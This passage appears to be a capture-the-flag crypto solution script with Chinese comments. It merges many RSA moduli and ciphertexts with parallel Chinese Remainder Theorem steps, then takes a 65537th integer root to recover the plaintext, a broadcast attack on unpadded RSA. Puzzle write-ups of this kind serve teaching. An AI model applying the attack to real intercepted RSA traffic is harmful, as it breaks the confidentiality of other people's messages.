    """每个进程计算部分 CRT 和对应模数乘积"""
15
    moduli = [x[0] for x in nums_chunk]
16
    residues = [x[1] for x in nums_chunk]
17
    c = CRT(residues, moduli)
18
    n_prod = reduce(mul, moduli)
19
    return n_prod, c
20

21

22
def recursive_crt(results):
23
    """递归分治合并多进程 CRT 结果"""
24
    while len(results) > 1:
25
        temp = []
26
        for i in range(0, len(results), 2):
27
            if i + 1 < len(results):
28
                n1, r1 = results[i]
29
                n2, r2 = results[i + 1]
30
                combined = CRT([r1, r2], [n1, n2])
31
                temp.append((n1 * n2, combined))
32
            else:
33
                temp.append(results[i])
34
        results = temp
35
    return results[0]
36

37

38
if __name__ == "__main__":
39
    parallel = min(16, cpu_count())
40

41
    # 只读一次文件
42
    with open("temp.txt", "r") as f:
43
        n = []
44
        for line in f:
45
            n += ast.literal_eval(line.strip())
46

47
    n = n[:20000]
48
    print(f"总数据长度: {len(n)}")
49

50
    # 主进程提前转换成 Integer 对象
51
    n = [(Integer(x[0]), Integer(x[1])) for x in n]
52

53
    t0 = time.time()
54
    # 切分数据块
55
    share = len(n) // parallel
56
    chunks = [n[i * share:(i + 1) * share] for i in range(parallel)]
57

58
    with Pool(parallel) as pool:
59
        results = pool.map(worker_crt, chunks)
60

61
    # 分治合并 CRT
62
    total_modulus, total_residue = recursive_crt(results)
63

64
    # 计算 65537 次方根
65
    m, exact = gmpy2.iroot(int(total_residue), 65537)
66
    if exact:
67
        print("整数根计算成功！")
68
        print(m)
69
        print(long_to_bytes(m))
70
    else:
71
        print("没有精确整数根！")
72

73
    print(f"耗时: {time.time() - t0:.2f} 秒")

a ctfer on the load

前言#